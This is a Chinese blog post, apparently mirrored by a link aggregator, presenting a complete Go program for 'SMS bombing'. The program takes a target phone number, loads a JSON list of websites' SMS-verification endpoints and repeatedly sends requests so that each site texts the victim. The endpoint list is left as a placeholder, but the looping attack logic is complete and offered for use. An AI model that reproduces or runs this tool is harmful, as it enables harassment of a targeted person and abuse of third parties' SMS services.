8

【代码】Go 语言实现短信轰炸

 9 months ago
source link: https://loli.fj.cn/zh-CN/2023/12/08/Go%E8%AF%AD%E8%A8%80%E5%AE%9E%E7%8E%B0%E7%9F%AD%E4%BF%A1%E8%BD%B0%E7%82%B8/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Go 语言通过循环向注册接口发送请求实现短信轰炸
本程序仅提供循环发送 GET 请求的逻辑,不含注册接口

注册接口配置文件

  • 创建一个 list.json 文件存储所有注册接口的 URL,通过 [phone] 作为占位符
[
"https://example.com/sendSms?phone=[phone]"
]
package main

import (
"encoding/json"
"fmt"
"io/ioutil"
"log"
"net/http"
"strings"
"time"
)

func main() {

// 手机号码
var phone string
fmt.Print("请输入手机号:")
if count, err := fmt.Scan(&phone); err != nil {
log.Panicln("输入手机号码 有误:", "err", err)
} else {
log.Println("输入手机号码 完成:", "count", count)
log.Println("输入手机号码 完成:", "phone", phone)
}
if phone == "" {
log.Panicln("输入手机号码 为空:", "phone", phone)
}

// 延迟时间
var sleepTime = 0
fmt.Print("请输入延迟时间(单位:秒)(缺省值:0):")
if count, err := fmt.Scan(&sleepTime); err != nil {
log.Panicln("输入延迟时间 有误:", "err", err)
} else {
log.Println("输入延迟时间 完成:", "count", count)
log.Println("输入延迟时间 完成:", "sleepTime", sleepTime)
}

// 接口列表文件所在路径
var fileSrc string
fmt.Print("请输入接口列表文件所在路径(缺省值:./list.json):")
if count, err := fmt.Scan(&fileSrc); err != nil {
log.Panicln("输入接口列表文件所在路径 有误:", "err", err)
} else {
log.Println("输入接口列表文件所在路径 完成:", "count", count)
log.Println("输入接口列表文件所在路径 完成:", "fileSrc", fileSrc)
}

// 读取JSON文件
var linkBytes []byte
if res, err := ioutil.ReadFile("./list.json"); err != nil {
log.Panicln("读取JSON文件 失败:", "err", err)
} else {
log.Println("读取JSON文件 完成:", "string(res)", string(res))
linkBytes = res
}
// JSON格式字符串 转换为 字符串列表
var linkList []string
if err := json.Unmarshal(linkBytes, &linkList); err != nil {
log.Panicln("JSON格式字符串 转换为 字符串列表 失败:", "err", err)
} else {
log.Println("JSON格式字符串 转换为 字符串列表 完成:", "linkList", linkList)
}

// 发送次数
var sendCount int
fmt.Printf("请输入发送次数(最大值为%d):", len(linkList))
if count, err := fmt.Scan(&sendCount); err != nil {
log.Panicln("输入发送次数 有误:", "err", err)
} else {
log.Println("输入发送次数 完成:", "count", count)
log.Println("输入发送次数 完成:", "sendCount", sendCount)
}
if sendCount > len(linkList) {
log.Panicln("输入发送次数 大于URL列表总数")
}

var responseEntity *http.Response
// 遍历链接列表
for i := 0; i < sendCount; i++ {
var link = linkList[i]
// 替换手机号占位符
link = strings.Replace(link, "[phone]", phone, 1)
// 发送请求
if res, err := http.Get(link); err != nil {
log.Println("请求发送 失败:", "link", link)
} else {
responseEntity = res
log.Println("请求发送 完成:", "link", link)
}
// 将响应体转换为字符串
responseText, _ := ioutil.ReadAll(responseEntity.Body)
log.Println("接收响应 完成:", "responseText", string(responseText))

// 如果不是最后一次发送请求
if i != sendCount-1 {
// 添加延迟
time.Sleep(time.Duration(sleepTime) * time.Second)
}
}
defer responseEntity.Body.Close()

}

OpenEthan/SMSBoom


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK